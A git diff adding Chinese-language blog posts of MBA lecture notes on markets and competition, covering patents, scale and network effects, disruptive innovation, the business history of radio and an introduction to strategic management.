+第一，应用场景和数据非常不一样。还有一个重要的趋势，就是今天其实大家能够看到，这里的领先者都在做开源这件事情，就是我们今天人工智能的底层技术变的越来越标准化，有些风口浪尖的公司，它们有非常独特的东西。但是，一个一般的公司我随便搞一搞，也能做到一定的水平。未来如果我们技术的前沿是否能够做到足够牛，一个普通的公司进入门槛没有那么高，这件事情我们可以想一下。 + +问题二；人工智能应用技术是否会形成一定的垄断？ + +这个其实刚才那个同学已经讲到了。核心是技术本身没有那么容易形成垄断，但是数据和场景有可能是高度垄断的。 + +所以，这些是我们对未来的一些畅想，但核心是这个问题的答案决定了未来的产业结构。如果有垄断的公司，有可能会有一家独大，如果没有垄断，可能会有非常多的小的创业公司不断进来。有可能每一个行业会有一家公司人工智能做的非常牛，但可能不会有大一统的公司把行业都做掉，未来还是根据行业细分的。这些都是一些对未来的预判和一些讨论，没有正确答案，但我们可以用刚才那个思路来去分析一下。 + +问题三：IOT芯片是否会带来新的一轮规模效应跟成本优势？如果会，会出现什么？如果不会，会出现什么？ + +这其实决定了未来的产业格局是大公司还是小公司。比如CPU、GPU、Google做TPU，会不会单独有一家，会不会变成Google？不知道，但我们可以大胆猜想。 + +最后，区块链会怎样改变市场跟契约的逻辑？ + +这是我们的希望，我们先不说币。区块链的技术，我认为它是一种生产关系技术，可以解决信任问题，可以有智能合约。如果说未来有一天区块链找到好的用例，会不会改变我们市场契约的逻辑，从而又一次释放刚才我们说的市场的力量，促进资源更有效的流转？ + +这是一些站在今天，我们可以用这两个思维模型去问的一些关乎未来的问题。每个问题的答案，我认为会回答我们这堂课一开始的那个问题，就是未来15年，伟大的公司将会产生在什么地方？ \ No newline at end of file diff --git a/_posts/2019-06-03-386-mba1103.md b/_posts/2019-06-03-386-mba1103.md new file mode 100644 index 0000000..36eff70 --- /dev/null +++ b/_posts/2019-06-03-386-mba1103.md @@ -0,0 +1,136 @@ +--- +layout: post +title: 【市场与竞争】 第3节 产权、规模效应与网络效应 +pid: 386 +tags: [mba] +--- + +产权、规模效应与网络效应 + +引言 + +前三讲中，主要讲述了市场的流转带来资源有效配置、垄断收益权提高经营意愿。本讲中，将讲述产权如何带来规模效应与网络效应。 + +一、第一次工业革命：发明家，工厂和炮舰的时代 + +1.1 专利的起源 + +专利，即垄断收益。在工业革命之前，专利是皇室的授权信来规定某人或者某一家企业在一定范围内的经营具有的垄断权，例如东印度公司的专属经营权帮助他们在欧洲和东南亚之间进行贸易获得大量收益。由此，英国的皇室获得了更多的税收和分红。于是，派发更多授权信，涉及民生和基本商品交易。直到1624年，英国颁布法律，除了发明制造领域，不再允许英国派发授权信。 + +从时间维度，专利是在工业革命产生的先决条件，工业革命早期的发明家和企业家，每一个都深谙专利之道，用法律手段来保护自身权益。尽管专利法和技术进步拉开了工业革命帷幕，但遗憾的是，在工业革命前一百年间，世界并不是由大企业主导，而是中小企业的黄金时代。 + +在瓦特发明蒸汽机之前，已经有许多发明家尝试类似蒸汽机的模型，并申请了专利。瓦特通过引用和发展专利技术并应用到实践中，发明了蒸汽机。蒸汽机对工业革命共有两个影响。第一，由蒸汽机所产生的组织形态——工厂，是工业革命的主角。第二，英国在殖民时代的先头部队——舰船，是由蒸汽动力驱动。这些都促进了生产力的丰富，打开了全球市场。 + +工业革命使得英国本国无法消化过剩的产能，用炮火轰开了清政府国门，统一印度。但是，也促进了全球贸易的发展。由此可见，市场和工厂的结合是第一次工业革命背后的商业逻辑。 + +1.2 技术进步提升国际竞争力 + +在工业革命前，印度对英国具有比较优势，这是由于印度有大量的手工业者，将棉布、服装出口到英国。而工业革命后，随着英国纺织的机械化生产降低成本，使得印度由纺织出口国变为进口国。由此可见，技术进步可以改变国家间的比较优势。 + +![](/uploads/2019/06/03-82.png) + +1.3 “武力”打开了世界国门 + +在鸦片战争前，即1830年前，世界全球化程度较低。随着鸦片战争，英国用侵略非洲、亚洲等国，在某种程度上用武力促进了世界各国融入全球市场，提高了全球化指数。1890年，全球化水平是1830年的4-5倍。然而，大英帝国的全球化受到了法国、德国的挑战，开始效仿英国在非洲建立殖民地。1910年，激发了第一次世界大战。 + +一战后世界的全球化水平，经历了40、50年的低谷，一直持续到六七十年代，直到1970年以后，到1870年、1880年水平。但是，在1970年以后，全球化水平极大提高。在中国融入了世界经济后，更是一路飙升。 + +![](/uploads/2019/06/03-83.png) + +所以，第一次工业革命有两个核心特点：第一，专利制度下，个人发明家驱动技术进步。第二，市场极大发达，企业规模小。例如，瓦特发明蒸汽机，爱迪生发明电力，曼哈顿计划发明原子能等。到了十九世纪三十年代，技术进步变为由大企业的创新投资和产业实验室驱动，这种趋势一直持续到今天。 + +1.4 大企业VS小企业 + +有些人认为，大企业是市场本有的状态，未来随着时代的进步，有可能会回归小企业或个人时代。但是，科斯却认为由小企业组成的交易网络，即市场才是我们这个世界最自然的生产模式。 + +在工业革命一百多年间，除了东印度公司外，其他人类的技术进步都是由小企业驱动，从经济学角度，完全有效市场可以带来资源最优分配，但是二战后，为何诞生了诸如福特汽车等大型企业？科斯在1930年研究这个问题时，对这个问题的解释是组织的存在是为了降低市场中存在的交易成本。 + +交易成本，即如果人类的一切商业行为都可以遵守契约规定，就不需要企业，所有的雇员都可以成为市场中劳动交换的关系，各个部门之间可以通过定价来交易，每一个事业部是一家独立的公司，每一个团队是一个独立的公司，每一个个人是一个独立的公司。如果将公司看为一系列契约的加总，这和市场毫无差别。但是，为什么公司并不像成为市场交易网络的一个加总？核心是因为在市场经济中，契约并不是永远都可以被遵守，并不是每一个行为都能通过契约解释清楚，也并不是每一种生产要素，都可以通过定价的方式做价值评估。而这所有因素相加，就是交易成本。当交易成本产生时，需要另一种替代市场的东西，即组织。因为在组织中，可以有很多种内部的管理方式。所以，在科斯的理论框架中，大企业永远不是在经济效率上最有效率的安排。 + +而今，交易成本仍然存在，重大创新项目依然需要大企业这种组织形式，但是在未来还是有可能发生变化，当交易成本越来越低，当生产关系的技术极为发达，是有可能走回到完全有效的市场。例如，今天的平台型企业，微信、淘宝已出现协同网络。 + +二、第二次工业革命促进大企业产生与兴起 + +2.1 铁路为大企业发展奠基 + +铁路的发展，为大企业的诞生奠定了基础。1860年，美国已经出现密集的铁路网，但是由于早年的美国铁路由个人投资建设，所有很多路段铁轨的宽度和机车的要求并不一致，直到全球化发展才有了统一标准。1860年第一次鸦片战争后，美国铁路网支持美国超越欧洲大陆，成为了世界上最强的经济体。后来，随着高速网络和航空业兴起，铁路开始逐渐没落。 + +铁路促进大企业发展的原因在于： + +第一，铁路降低运输成本，创造全国市场。 + +第二，铁路企业成为美国的第一波大型企业，提高了管理水平，企业数字化水平。因此，大企业促进管理规范现代化发展。在当年60%的企业为铁路企业，例如普尔当年出版手册，评估各个铁路公司股票价值，这个手册发展成为后来的标准普尔指数。 + +除了技术的进步和公司本身的发展以外，这30、40年间，也是美国资本市场和这些投资人蓬勃发展期，JP摩根、斯坦福这些人当年靠铁路起家，用资本力量反过来去促进产业的整合和融合。由此可见，铁路降低了运输成本，创造了全国市场，铁路到达的地方，商业和零售业，电缆和电力也随之发展。以铁路为中心，集成现代发明成果。 + +2.2 规模效应、网络效应带来赢者通吃 + +随着商业不断发展，诞生美国最早电子商务公司——希尔斯公司，将各种产品印成详细的小册子，通过邮政的方式发放到全国各地，如果消费者想要购买产品，写信到总部，由总部通过铁路、当地马车送货。由此可见，铁路降低运输成本，推升商业新形态，扩大市场规模。 + +所以，第二波大企业的时代会在铁路发展之后出现，这背后反应了两个经济学的思维模型，即规模效应与网络效应，这两个经济学原理，和寡头型企业、垄断型企业这种赢者通吃型企业的出现有非常大的关系。 + +规模效应，是随着生产规模扩大，单位成本下降。例如兴建工厂，固定成本投资约几百万，随着产量上升，摊销固定资产投资，降低单位平均成本。网络效应，是随着用户数量的增加，每一个用户的单位价值提高。所以，网络效应也被MIT的一个学者称为需求侧的规模效应，其核心都是随着规模的扩大，消费者价值提高，生产成本下降。 + +在第一次、第二次工业革命时期的大型企业，大多都是因为释放了规模效应，降低了单位成本。当单位成本、运输成本足够低，形成全国市场时，小型企业就会丧失竞争力而被迫退出市场，最终市场形成大企业垄断格局。由此，早年反垄断法提上日程。 + +从美国钢铁厂规模效应可以看出，随着全国市场的建立，大企业通过对小企业整合，扩大规模，降低定价，例如卡耐基和洛克菲勒将资本运作、企业经营玩到极致，甚至不惜用价格补贴成本扩大市场份额。最终，弱者出局，垄断者提价，这种资本运作方式与当今很多互联网企业异曲同工。在企业拥有了规模效应、成本优势后，形成正向循环。钢铁行业、太阳能光伏就是其中典型代表。 + +当今，我国芯片行业难以赶超美国的根源在于美国在三四十年前建立的规模效应使得芯片成本降低，构成先发优势。而我国，芯片产品不高，单位成本却很高，导致无法获得更多市场份额。由此可见，规模效应对于标准化基础材料行业，至关重要。 + +随着沃尔玛遍布美国，物流成本、采购成本、运营成本、营销成本也随之降低，这些都得益于规模效应，尤其当企业有能力建立中心化或者全国性物流网络时。 + +微信，符合网络效应。通过用户数的不断扩大，促进信息传播，推升小程序商业业态发展。小程序的开发益于网络效应的产生，每开发一个APP，当用户数量越多，开发成本越低、收益越高，由此促进更多开发者入局，当用户有更多小程序选择时，使用价值提高，这就是所谓双边市场，即用户越多，小程序开发者收益越高，小程序越多，用户获益越高，由此形成正向循环。 + +作为微信，同时存在单边和多边网络效应。单边是指随着用户之间的互动随着规模的上升产生更大收益；双边是指随着用户增多，商业生态开发者都可以提高自身价值。 + +IOS和安卓系统也具有网络效应。IOS有直接的网络效应，因为苹果手机使用者可以相互交流，而安卓作为开放平台，虽然用户黏性没有那么强，但是开发者生态却蓬勃发展。但是，任何一个平台、一个生意规模效应和网络效应的大小、边界、类型都取决于商业策略选择、应收方式选择，这也是安卓而今为何从开放走向封闭的原因之一。 + +滴滴存在双边的网络效应，但是为负，即使用人数越多，使用价值越低。所以，对于这样的生意，网络效应的边界不是无穷无尽，迅速扩大规模占领全国市场并没有那么容易。早期的Uber除了用户数量、司机数量，还通过每单响应速度评估员工KPI，即用户等待时长最小化、用户响应速度最大化，但这需要司机和乘客两边的平衡。司机太多、乘客太少亦或司机太少、乘客太多都会影响用户体验。 + +由此可见，对于双边市场来说，网络效应和规模效应的逻辑更加复杂。网络效应受地理局限影响，不一定永远为正，这决定了市场寡头垄断的出现需要一定的时间。 + +共享单车不具备网络效应和规模效应，因为共享单车不一定拥有工厂所有权。虽然工程具有规模效应，但是这种规模效应惠顾所有企业。除非商业模式足够独特，否则难以形成竞争优势。从网络效应来看，虽然共享单车具备一定网络效应，但是不同城市、区域考核各不相同。所以，共享单车从成立以来，一直没有探索出可行的商业模式。 + +对于像智联，51Jobs这种招聘网站，存在单边与双边网络效应，即雇主与雇员之间的互动。LinkedIn存在网络效应，它与传统招聘平台的区别在于传统平台雇主跟雇员之间是有正向促进作用，但是雇员之间是竞争关系，而LinkedIn通过商业模式的变化，将自身打造为社交服务平台，使雇员之间既存在竞争关系又存在社交关系，由此扩大求职者数量，提高网络效应。 + +综上，规模效应带来赢者通吃的原因在于市场份额扩大降低单位成本，单位成本降低促进产品价格下降，产品价格下降促进市场份额扩大，最终形成商业闭环；网络效应则在于更大的市场份额、更高的价值，可以吸引更多的消费者。 + +![](/uploads/2019/06/03-84.png) + +2.3 第二次工业革命促成美国兴起与英国衰退 + +第二次工业革命时期的大企业背后伴随的是美国的兴起和英国的衰退。美国最大的企业——美国钢铁，市值14亿美金，工人数量34万。而英国最大的公司——帝国烟草市值是1700万英镑，而工人的数量只有3万人。所以，在第二次工业革命期间，美国涌现出来的大企业约英国的10倍，而英国仍然是由大量的中小企业和工厂组成。 + +市场格局与国家特点存在一定关联，但不是必然，英国当时技术水平与美国接近，但是英国Top100的企业却仅占15%，远远低于美国，这与当时英国分红政策相关，英国企业将收入80%-90%用于分红，限制了企业规模的发展。另外，尽管英国曾经作为工业革命的领先者，但其田园牧歌式的贵族生活无法形成市场规模、降低运输成本。 + +所以，技术进步与制度进步相互促进、相互影响，每一次技术进步都需要相应的制度进步，才可以保证伟大企业的产生。 + +三、索洛谜题 + +索洛谜题的核心是讨论技术与制度相关性，如果我们看第二次工业革命，电力技术在美国1920年、1910年已经相当普及，达到70%-80%，但是工厂的生产效率跟之前蒸汽时代并没有大的变化，原因何在？这反应了制度创新，或者说生产模式创新、商业模式创新在很多时候是落后于技术创新。 + +早期的蒸汽动力工厂，中间的一个巨大的蒸汽机，带动一个传动杆，传动杆上通过传送带的方式带动所有的机器。电动机代替蒸汽机其实对生产率的提高收效甚微，无法带来根本性革命。而生产率提高的根源在于组织变化，改变生产流程。电动机与蒸汽机相比，最大的优势是在于不需要那根主轴了，只需要拉一根电线，就可以让机器驱动起来。 + +所以，当很多企业家们意识到这一点之后，电力的技术才被真正释放出来，这背后的生产模式变革就是今天的流水线作业。所以，流水线作业在1920年、1930年代的极大发展，很大程度上是跟电力技术的发展密切相关。 + +而当组织变化完成时，美国制造业的全要素生产力开始大幅度提升。1910年、1915年，美国电力技术极大普及，到了1920时，相比1890年，提高40%。在70年甚至是100年以后，到了信息技术开始普及的时候，经历了类似的过程，电脑在80年代、90年代的普及率已很高，但是真正信息技术释放生产力，要等十年以后方可凸显，其实核心要改变的还是整个工作方式和生产流程。 + +综上所述，专利技术产生垄断收益权，带来了工业革命的大潮，工业革命的早期由中小企业驱动。随着铁路、全国性市场的出现，规模效应的涌现和产生，诞生了第一波大的伟大的企业，而这些企业在接下来的30、40年间，改变了美国商业很多的经济逻辑，这些大企业开始成立自己的产业实验室，贡献了美国绝大多数的专利和研究的投入。于是，个人发明家一去不返，这些大的企业开始有了自己的组织创新，包括今天很普遍的集团式组织架构，直到今天他们仍然是世界的重要驱动力。同时，一些中小企业也在后来的技术进步中不断地涌现，包括风险投资以及后来产生的硅谷。 + +但是，在整个过程当中，只要想成为行业里赢者通吃的头部企业，就一定要释放规模效应或者是网络效应，这是不变的经济原理。或者有一个独门技术，让别人望尘莫及、无法模仿，通过专利的方式提高进入门槛。 + +四、课程小结 + +第一，思维模型。规模效应（网络效应）带来赢者通吃。供给侧的规模效应降低生产成本，需求侧的网络效应提高消费者使用价值。网络效应存在单边与双边，且本身具有边界性。 + +第二，规模效应促进第二次工业革命伟大企业的诞生，在一定程度上，也促进美国崛起。 + +第三，如何判断规模效应与网络效应？扪心自问三个问题。首先，你选择的行业规模效应的边界和大小？如果今天你们想创业做一个本地的外卖O2O，答案不一定是否定的。前两年，我们的社会化分销，促进各种新的商业机会诞生，本地化服务、出行、电商行业同理。另外，通过差异化定位产品，例如钉钉打破企业与个人社交的边界，一定程度上抑制了微信的网络效应和规模效应。由此可见，人群、场景、网络效应的成因在于数据技术与整体效率的提高，很多时候企业的网络效应是局部的。所以，企业并不是没有机会持续经营。 + +其次，如何通过差异化定位来对冲市场领导者的规模效应？如果你选择进入由巨头统治的市场，差异化是你的战略必然。在95%的情况下，这种差异化定位都可以通过地理位置的区隔来实现。 + +另外，如何通过强化规模效应来增加自己的进入门槛？怎么来强化自己的规模效应和网络效应？ + +当今美国，Facebook一家独大。忆往昔，十年前，世界社交网络市场群雄逐鹿，各路诸侯相互竞争。当时每一个国家都有自己的社交网络，美国有Facebook，巴西有Orkut，美国西部有一部分人用MySpace。当时美国有一个社会学家分析发现，Facebook使用者为白人，MySpace则主要是黑人和拉丁裔。这个调查结果相当震惊，让人不禁感叹，连年轻人使用的社交网络上都有种族区隔，产生这种现象的原因就是网络效应的边界性，所谓物以类聚人以群分，每一个网络效应都可以在自己固定使用人群中形成准入门槛。 + +看今朝，全球社交网络的布局，除了微信外，Facebook独步天下，这与它的商业决策、战略密切相关，即开发者生态的建立，即吸引游戏厂商加入，降低网络效应边界感。人群有边界，但是游戏无边界。所以，世界上各个小的社交网络拥趸，开始逐步向Facebook迁移。久而久之，Facebook成为世界上最大的社交网络。由此可见，商业策略的变化可以扩大网络边界，使企业成为市场领导者。 diff --git a/_posts/2019-06-03-387-mba1104.md b/_posts/2019-06-03-387-mba1104.md new file mode 100644 index 0000000..b584328 --- /dev/null +++ b/_posts/2019-06-03-387-mba1104.md @@ -0,0 +1,128 @@ +--- +layout: post +title: 【市场与竞争】 第4节 破坏式创新与无线电故事 +pid: 387 +tags: [mba] +--- + +引言 + +在市场与竞争前三讲中，我们讲述了随着经济发展，三个亘古不变的模型，即市场的流转带来资源有效配置，打破行业壁垒；垄断收益权提高经营意愿；规模效应与网络效应带来赢者通吃。本讲中，我们将讲述三个问题。第一，破坏式创新带来供给的更迭和进步。第二，无线电的商业模式。第三，危机中的曙光。 + +破坏式创新带来行业变革 + +1.1破坏式创新定义 + +每一次行业的更迭，背后都是破坏式创新驱动。每一次社会变革，都是技术、制度、公司不断演进的过程。每一次新兴企业兴起，都伴随传统企业的消逝，这种供给的更迭，就是破坏式创新。 + +熊彼特曾说：“任何经济分析，不能脱离企业家精神而存在，企业家精神驱动力下的破坏式创新是资本主义的核心驱动力。破坏式创新如同一阵风一样，推动资本主义不断自我变革，由内而外改变经济结构，将原有生产力推翻，建立新的体系。” + +1.2 最有价值企业排行榜 + +1.2.1 1917-1987年最有价值企业年均回报率：7.5% + +![](/uploads/2019/06/03-85.png) + +1917-1987福布斯最有价值公司年均回报率为7.5%，其中通用电气（7.8%）、柯达（7.7%）、杜邦公司（7.2%）年均回报率最高，而AT&T（2.8%），USX（2.1%）回报率最低。 + +从投资角度看，在短期，投资市场表现好的企业。在长期，投资有发展潜力的市场。由此可见，时代、技术在进步，行业在发展，但是企业不见得可以做到基业长青。 + +1.2.2 1917年市值最大企业 + +![](/uploads/2019/06/03-86.png) + +1917年，世界最大市值行业来自钢铁、油气、矿。 + +1.2.3 1967年市值最大企业 + +![](/uploads/2019/06/03-87.png) + +1967年，世界最大市值行业来自油气、技术、电信。 + +1.2.4 2017年市值最大企业 + +![](/uploads/2019/06/03-88.png) + +2017年，世界最大市值行业来自技术、金融服务、医疗。综上，技术的更迭带来行业的更迭，行业的更迭带来颠覆式创新。虽然每一个行业内部也有颠覆式创新，但是至少在过去一百年间，主旋律是技术变革。 + +1.3 经济周期促进破坏式创新 + +亘古以来，经济不断发展、蓬勃向上，技术、制度不断进步，大企业涌现。但是，如果我们提到破坏式创新，会意识到破坏是创新的结果。如果我们拉长历史周期，破坏的表现形式可能是行业的衰落，公司消亡和破产，人民的失业。从宏观角度来看，就是经济周期。经济周期作用于欧美，几年一轮，异常稳定。熊彼特将经济分为长周期（技术周期）与短周期（汇率、利率），经济周期的产生原因与行业息息相关，经济周期的结果会促进进一步破坏式创新。 + +当今我国处于经济周期下行阶段，企业面临重重困难。我们这代人，对经济周期并没有刻骨铭心的记忆。我们也许经历过贫穷，但是从未体验过衰退，我们的生活日新月异、蒸蒸日上。从微观上，衰退和箫条伴随苦难，但是如果我们将历史周期拉长，会发现，每一次衰退，都是下一次上升的开始，都是破坏式创新的催化剂。在某些情况下，甚至可以促进企业发展。 + +1.4 美国经济的衰退与崛起 + +从1929至1936年，美国在走向世界第一强国的路上，遭遇了拦路虎，即大萧条。但是，打败拦路虎后的三十年，是美国发展的黄金期。 + +即使美国拥有福特汽车、通用电气，NASA这种大型企业，但是面对大萧条，却无能为力。美国的道琼斯指数，在1920年以前，一路高升、势不可挡。但是1929年，却在一朝一夕间，化为乌有，从381点跌到50点。 + +![](/uploads/2019/06/03-89.png) + +原因主要有两个。第一，资产泡沫造成银行业破产，引发金融危机。第二，胡佛政府提高关税，导致国际贸易出口额迅速降低。 + +从GDP角度来看，1929至1932年，连续四年处于衰退状态，直到1933年才开始缓慢爬升至1929年水平。十年时间，整个社会发展回到原点。从失业率角度来看，大萧条时期，失业率突破20%。从金融角度来看，截止到1933年，全国25000家银行中，有11000家倒闭，储户损失1400亿美金。 + +大量的城市中产阶级，流离失所，财富瞬间归零，被迫接受救济。一碗汤、一块面包，成为标配。更严重的是，天灾降临，美国中部地区发生一场巨大的沙尘暴，使一切雪上加霜，很多家庭被迫拖家带口向加州迁移，成就美国近代史上最大一次人口迁移。十年的痛苦，对经历过的人来说，没世不忘、一言难尽。 + +虽然大萧条意味着经济衰退、企业破产、人民失业。但是，俗话说——乌云的边缘，有银色的光，穿透云层。美国众多学者研究发现，大萧条时期的全要素生产率增长是1919-1948年间最快的十年。从古至今，我们经历了刀耕火种时代，随着机械化生产，工业用地代替农业用地；随着高新技术发展，高科技园区代替工业用地，这意味着整个社会管理水平、技术水平，生产模式在不断增长，促进生产效率、人均效率的提高。 + +这背后的原因在于经济萧条敦促企业进行全方位的自我革新、效率提升，即压缩成本、提高效率、改善管理、应用新技术。所以，十年后，企业的生产效率、技术水平迈入新的阶梯。美国经济由此死而复生，凤凰涅磐，主要体现在三个方面。 + +第一，1929至1935年，美国汽车行业的工厂数量由211家锐减至121家，人均效率由$137 提升至 $172，单厂产值由$17.5M 突破至 $24.1M。经济危机，淘汰产业尾端缺乏竞争力的企业，而大企业不断技术革新、资源优化配置，促进产值提高。 + +第二，美国科研人员呈现爆发式增长，产业实验室人数翻了一番，从1933年11000人增加至 1940年27000人，原因主要在于企业对新技术的探索与削减成本的需求，使得其必须对生产工艺、原材料的核心技术进行更新、迭代。 + +第三，化学纤维、收音机、液态火箭等新技术在大萧条期间涌现、发展。由此可见，大萧条的十年为美国六七十年代经济的腾飞种下了希望的种子。 + +在大萧条期间，收音机热销，原因在于娱乐产品逆周期性。人们围坐一起，聆听罗斯福“围炉夜话”节目，了解国家经济形势。也正是在“围炉夜话”中，罗斯福说出了那句脍炙人口的“我们唯一值得恐惧的就是恐惧本身”。这句话的那种对恐惧无所畏惧的精神，传颂至今。 + +经济周期，本质是一个周期，它像山火一样吞噬一切、洗涤一切，但是硝烟过后，更强的力量涌现。每一次经济衰退都孕育着下一次的崛起。从短期来看，经济周期促进企业优胜劣汰，让强者突出重围；从长期来看，驱动经济增长的核心动力——技术、制度、企业家精神。 + +无线电的商业模式 + +2.1 早期无线电通讯技术 + +在无线电未发明前，人们通过信鸽、驿站、快马传递信息。然后，有了跨大西洋通信电缆。早期的跨大西洋电缆与英国殖民版图重合，建造成本昂贵、覆盖面有限、战争期间易被损毁。例如，在一战期间，英国将所有电缆瞬间掐断，让德国无计可施，某种程度上利用了技术垄断权。 + +无线电由意大利人Guglielmo Marconi发明，在1901年完成第一次跨大西洋无线电传输。成立Marconi Wireless Telegraph Company (British)，并于1909年获得了诺贝尔奖。早期无线电以B端客户为商业模式，在大西洋两岸建立无线电基站，铺设技术线路，通过租赁无线电设备给货运公司盈利。核心主要有两个，第一，出租设备。第二，提供设备操作人员。此时，出现了一些微创新，有些无线电通讯员开始为海员的家人传送信息，赚取外快。 + +无线电使用的登峰造极之作就是著名的泰坦尼克事件。当冰山撞击船体时，Marconi公司的两名无线电操作员杰克·菲利浦和哈罗德·布莱德立刻发出了SOS信号，接收到信号的Marconi员工通过不断转发，最终使RMS Carpathia收到求救信息，挽救了近百名乘客生命。 + +此时的纽约，Marconi的接线员David Sarnoff夜以继日工作，接收并发送船上幸存者的信息。经过不断努力，Sarnoff成为Marconi公司美国区负责人。在泰坦尼克号事件后，政府意识到了无线电的重要性，要求所有远洋船只必须携带无线电。由此，Marconi公司一飞冲天，但是Sarnoff却提议商业模式转型，由B端用户走向C端，贩卖收音机，使无线电走入寻常百姓家。但是在公司业务蒸蒸日上、财源滚滚的情况下，该提议被拒绝。 + +2.2 无线电普及 + +然而，随着二战爆发，美国政府将所有无线电技术收归国有，一些生产服务于军事用途。于是，天赐良机，Sarnoff成为美国无线电公司RCA的首任总经理，终于有机会实践自己长久以来的梦想——向美国居民贩卖收音机产品。无线电产品在初期可谓有钱人的专享，顶配$900，相当于两辆福特汽车，这就是技术的力量。随着中低端价位产品普及，美国掀起收听无线电热潮，人们围坐一起，收听体育直播、音乐节目。同时，作为营销媒介，百货商店放音乐播放促销信息，医生广播医疗常识，提高知名度。由此，收音机销售额从1921年仅仅区区激增到1927年的$600万，广播站数量在1924年达到1400个。 + +这背后反映了双边网络效应，即购买收音机的人越多，广播站收益越大，广播站建得越多，就会有更多人购买收音机，无线电行业由此获得更多利润，正向循环发展。 + +但是，当时的内容生产是盲目的，没有专业内容生产与提供产品和服务的人，导致行业混乱，各自为战。所以，内容生产急需整合，急需专业的公司生产与分发内容。随着收音机市场竞争日益激烈，利润空间进一步压缩。于是，RCA公司未雨绸缪，进行了下一次商业模式转型，由设备生产走向内容生产。 + +2.3 设备生产向内容生产转型 + +由于贩卖设备积累了大量资本，NBC开始全国性收购地方广播电视台、内容生产者。由此，拥有了全国性的内容分发网络。截至1927年6月，NBC已经在全美二十四个州拥有五十个广播电台，降低内容生产成本、提高内容质量。彼时NBC的商业模式依然是终端收费、内容免费，但是它至少通过网络效应积累了大量用户，为商业变现提供基础。 + +2.4 从内容生产向广告盈利模式转型 + +在下一轮商业模式转型过程中，NBC的竞争对手CBS功不可没。CBS专注于内容生产，通过收取赞助费盈利，即以广告为盈利模式进行内容生产与传播。NBC深受启发，通过内部实验，建立蓝色网络——完全无商业内容与红色网络——商业内容为主。经过几年的实验发现，商业内容大获全胜。于是，将两个网络合并，所有节目迅速插入广告，以广告收入作为最主要的商业模式。 + +综上，无线电从B2B设备租赁，到设备销售，到内容免费、广告盈利模式。于是，NBC从诞生走向繁荣，成为现代媒体集团。通过无线电的案例，可以得出——技术、市场环境在变化，规模效应与网络效应带来赢者通吃。创业伊始，企业独享技术垄断，随着规模效应降低成本，行业准入门槛下降，为了实现可持续经营，企业开始进行商业模式探索与产品迭代。 + +1940年以后，随着电视兴起，RCA公司日渐式微。即使经历了六十年的商业模式探索，踩对了每一个节点，依然无法阻挡技术的浪潮。虽然在九十年代发展中国家汽车行业兴起，为车载无线电行业带来第二个春天，但是却依旧无法力挽狂澜。 + +三、市场与竞争课程回顾 + +市场与竞争作为一门商业史的课程，讲述了技术创新背后的制度创新，在每个时代，都会涌现出一批最有价值的企业，各领风骚数百年。 + +核心有三点。第一，技术在变化，经济规律却相对稳定，亘古不变。在学习经济规律的过程中，我们可以通过了解商业历史的演进过程，对当今经济形势进行分析与判断。 + +第二，在分析商业历史演进过程中，有四个经济学思维模型永恒不变，即市场的流转带来资源有效配置，垄断收益权提高经营意愿，规模效应与网络效应带来赢者通吃，破坏式创新带来供给的更迭和进步。东印度与滴滴均是通过市场和连接促进资源有效配置，瓦特通过专利制度发明蒸汽机，美国铁路的兴起为第二次工业革命提供基础。 + +第三，个人投资者选择行业创业时，要问自己三个问题，即规模效应的边界和大小？XX市场还存在机会吗？如何通过差异化定位来对冲市场领导者的规模效应？如何通过强化规模效应来增加自己的进入门槛？以此，明确企业定位与差异化价值，并通过规模效应与网络效应，将自己变成这个行业赢者通吃的企业。 + +第四，破坏式创新。从长期来讲，市场的表现好于头部企业，技术进步带来供给的更迭。经济增长的原动力来自于技术、制度、企业家的精神。 + +如今我国经济虽然处于下行期，但是我希望大家看到乌云边上的阳光，经济衰退也可以成为技术和管理跃升的机遇。不管接下来一年、两年、三年时间发生什么事情，只要企业家精神存在，只要我们对技术的信仰，对制度创新的意愿仍然存在，我们就会续写新的篇章，新的辉煌。正如美国西部的巨杉树，每一次火灾都会让它涅磐重生，火焰的历练让它更加坚强。同时，火灾吞噬低矮的灌木，成为它的养分，由此，成为参天大树。 + +![](/uploads/2019/06/03-90.png) \ No newline at end of file diff --git a/_posts/2019-06-03-388-mba1001.md b/_posts/2019-06-03-388-mba1001.md new file mode 100644 index 0000000..9270b31 --- /dev/null +++ b/_posts/2019-06-03-388-mba1001.md @@ -0,0 +1,363 @@ +--- +layout: post +title: 【战略管理模块】 第1节 战略管理导论 +pid: 388 +tags: [mba] +--- +战略管理模块 第一讲 + +第一部分 战略的分析模型 + +1.东西方管理差异 + +东西方的管理不一样，西方管理思维建立在以下三个假设上： + +第一个：有效率的人力市场，即能够在很短的时间之内，找到企业需要的人。 + +西方企业是因事择人，东方企业是因人择事。在东方，最重要的考虑因素是信任，所以人力的市场，特别是高阶人力市场，非常没有效率。汤教授认为，这对于资源本身就有限的中小企业而言，其能够吸引来的人才也有限。中小企业的发展完全依靠老板的睿智，等它发展到一个程度之后，才能利用别人的睿智让自己的企业发展。 + +第二个：有效率的财务市场，此处的财务市场即资本市场，在西方市场上，它是有效率的，因此在西方的资本市场，上市、下市较容易，可利用的资本市场操作有很多。但东方市场并不是很完善，所以中国企业会遇到较大的发展限制，尤其是财务资源。在西方企业，只要有好的计划，就可以很容易地在市场上募资。但是在亚洲，即使有再好的计划，通过银行的借贷进行融资也很难，需要用财产抵押才可以。所以东方企业在财务资源上，并非很有效率。 + +第三个：产品市场的竞争，美国的管制不严，产业之间可以相互竞争。但是在东方，由于国营企业的存在，有各种各样的干扰，所以东方市场的竞争环境不好，当遇到有政商资源的竞争对手，还会面临比较恶劣的竞争环境。 + +2.ROSE模型 +一方面，进行由内而外的分析，即资源盘点，包括人力资源、技术资源等，企业最重要的是资源，所有企业都是从资源开始，从人开始，从钱开始，企业有一笔钱，然后去找了一批人，有一个技术就可以开始了，但需要透过管理的过程把这些资源在市场上变成核心竞争力，变为企业的竞争优势，如果没有竞争优势，企业都是同质化的，赚钱的可能性就比较低。 + +另一方面，进行由外而内的分析，即竞争生态的分析，产业分析。思考企业在某个产业生存发展，需要什么样的战略。每个行业的竞争生态都不一样。要看这个产业中有哪些关键成功因素，关键存活因素，后者更为重要。关键成功因素即做对了，大概率就会成功；关键存活因素即不做的话一定会失败，企业的关键存活因素很多，如管理问题，财务问题等，在这些方面稍有不慎，企业的生存就会面临挑战。 + 